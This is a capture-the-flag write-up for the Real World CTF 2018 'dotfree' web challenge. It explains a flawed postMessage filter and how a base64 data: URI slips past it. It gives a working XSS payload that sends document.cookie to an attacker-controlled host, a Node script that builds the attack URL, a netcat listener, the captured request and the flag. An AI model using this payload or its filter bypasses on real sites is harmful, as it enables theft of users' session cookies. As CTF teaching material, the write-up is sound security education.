Tags: javascript xss 

Rating: 0

**Description**

> All the IP addresses and domain names have dots, but can you hack without dot?
>
> http://13.57.104.34/

([local copy of website](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-07-28-Real-World-CTF-Quals/files/dotfree.html))

**No files provided**

**Solution**

We are presented with a simple form that asks for a URL:

![](https://github.com/Aurel300/empirectf/raw/master/writeups/2018-07-28-Real-World-CTF-Quals/screens/dotfree.png)

A lot of what we can put inside results in errors, with the website outputting simply:

{"msg": "invalid URL!"}

If we put in a valid URL, such as the URL of the website itself however (`http://13.57.104.34/`), we get:

{"msg": "ok"}

(Note that any valid URL works, but we need to use this website since this is a cookie-stealing XSS attack.)

So the structure of this challenge is very similar to that of [Excesss (SecurityFest 2018)](https://github.com/Aurel300/empirectf/blob/master/writeups/2018-05-31-SecurityFest/README.md#51-web--excesss). What can we actually do with the website? The crucial code is this:

function lls(src) {
var el = document.createElement('script');
if (el) {
el.setAttribute('type', 'text/javascript');
el.src = src;
document.body.appendChild(el);
}
};

function lce(doc, def, parent) {
var el = null;
if (typeof doc.createElementNS != "undefined") el = doc.createElementNS("http://www.w3.org/1999/xhtml", def[0]);
else if (typeof doc.createElement != "undefined") el = doc.createElement(def[0]);

if (!el) return false;

for (var i = 1; i
< def.length; i++) el.setAttribute(def[i++], def[i]);
if (parent) parent.appendChild(el);
return el;
};
window.addEventListener('message', function (e) {
if (e.data.iframe) {
if (e.data.iframe && e.data.iframe.value.indexOf('.') == -1 && e.data.iframe.value.indexOf("//") == -1 && e.data.iframe.value.indexOf("。") == -1 && e.data.iframe.value && typeof(e.data.iframe != 'object')) {
if (e.data.iframe.type == "iframe") {
lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);
} else {
lls(e.data.iframe.value)
}
}
}
}, false);
window.onload = function (ev) {
postMessage(JSON.parse(decodeURIComponent(location.search.substr(1))), '*')
}

When the `window` loads, it posts a message containing the part of the URL after the `?` character, decoded as JSON, to any (`*`) origin. This message is immediately caught by the `message` listener defined above.

In the listener, the function checks that an `iframe` property is defined on the decoded JSON object, and then a bunch more checks:

- `e.data.iframe` - duplicate check for the `iframe` property (?)
- `e.data.iframe.value.indexOf('.') == -1` - the `value` property cannot contain the `.` character
- `e.data.iframe.value.indexOf("//") == -1` - the `value` property cannot contain the `//` substring
- `e.data.iframe.value.indexOf("。") == -1` - the `value` property cannot contain the `。` character
- `e.data.iframe.value` - check for the `value` property on `iframe`
- `typeof(e.data.iframe != 'object')` - this one is a little misleading; it does not assert that the type of `iframe` is not `object`, instead it checks the type of the expression `e.data.iframe != 'object'` (which will always be true unless we give it the literal string `object`), and this type will always be `"boolean"`, which will not cause the condition to fail since a string is a truthy value

If we can pass these conditions, the value we provided is either used as the `src` for an `<iframe>` or as an `src` for a `<script>`. I'm not sure how well an `<iframe>` would work since we are stealing cookies and all, but more importantly, this line:

lce(doc, ['iframe', 'width', '0', 'height', '0', 'src', e.data.iframe.value], parent);

Seems to always trigger an error, at least when testing locally, since neither `doc` nor `parent` are defined, but are used inside the `lce` function. Bit weird.

So instead, we use the `<script>` option. To summarise, we can basically create a `<script>` tag on the target user's website with any `src` we choose, but it cannot contain `.` or `//`, so a full URL should not really work.

Note: I did not realise during the CTF, but there are at least two other ways to circumvent the condition apart from not using `.` or `//`:
- supply the `value` as an array (then `value.indexOf` checks for elements inside the array, not substrings in a string), which will then get turned into a string automatically
- use some backslash quirkiness in URL parsing, e.g. `http:/\1234/` still works in some browsers

During the CTF I found a way to provide a malicious script without using `.` or `//`, however.

The method I used was the [`data://` scheme](https://en.wikipedia.org/wiki/Data_URI_scheme). It allows specifying the full content of a file as well as its `Content-Type` as a URI, e.g.

data:text/html,hello world

Is an extremely simple HTML document that can be used as a [link](data:text/html,hello world). This scheme can also be used for binary data by adding `;base64` to the `Content-Type`, then encoding the bytes of the data with the Base64 encoding. Using this technique, we can provide arbitrary JavaScript content.

Our informed guess is that the flag will be in the user's cookies, so we want our script to make a request to a website we control and provide the cookies. We have to do this since the website itself only says `{"msg": "ok"}` and provides no way to see what actually happened when our victim loaded our XSS attack. So, here is our payload:

window.location='http://<ip we="" control="">:1337/'+document.cookie

We can encode this and wrap it in the JSON structure required by the challenge:

const payload = `window.location='http://<ip we="" control="">:1337/'+document.cookie`
,b64 = Buffer.from(payload).toString('base64')
,wrap = `{"iframe":{"type":"script","value":"data:text/javascript;base64,${b64}"}}`
,url = `http://13.57.104.34/?${encodeURIComponent(wrap)}`;
console.log(url);

Then:

$ node make.js
http://13.57.104.34/?%7B%22iframe%22%3A%7B%22type%22%3A%22script%22%2C%22value%22%3A%22data%3Atext%2Fjavascript%3Bbase64%2Cd2luZG93LmxvY2F0aW9uPSdodHRwOi8vYXJlbnQteW91LWN1cmlvLnVzOjEzMzcvJytkb2N1bWVudC5jb29raWU%3D%22%7D%7D

Now on the <ip we="" control="">, we listen for packets:

$ nc -l -p 1337

Finally, we provide the generated URL to the website and sure enough, we get the cookies:

GET /flag=rwctf%7BL00kI5TheFlo9%7D HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,* /*;q=0.8
Referer: http://127.0.0.1/?%7B%22iframe%22%3A%7B%22type%22%3A%22script%22%2C%22value%22%3A%22data%3Atext%2Fjavascript%3Bbase64%2Cd2luZG93LmxvY2F0aW9uPSdodHRwOi8vYXJlbnQteW91LWN1cmlvLnVzOjEzMzcvJytkb2N1bWVudC5jb29raWU%3D%22%7D%7D
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Connection: Keep-Alive
Accept-Encoding: gzip, deflate
Accept-Language: en,*
Host: <ip we="" control="">:1337

`rwctf{L00kI5TheFlo9}`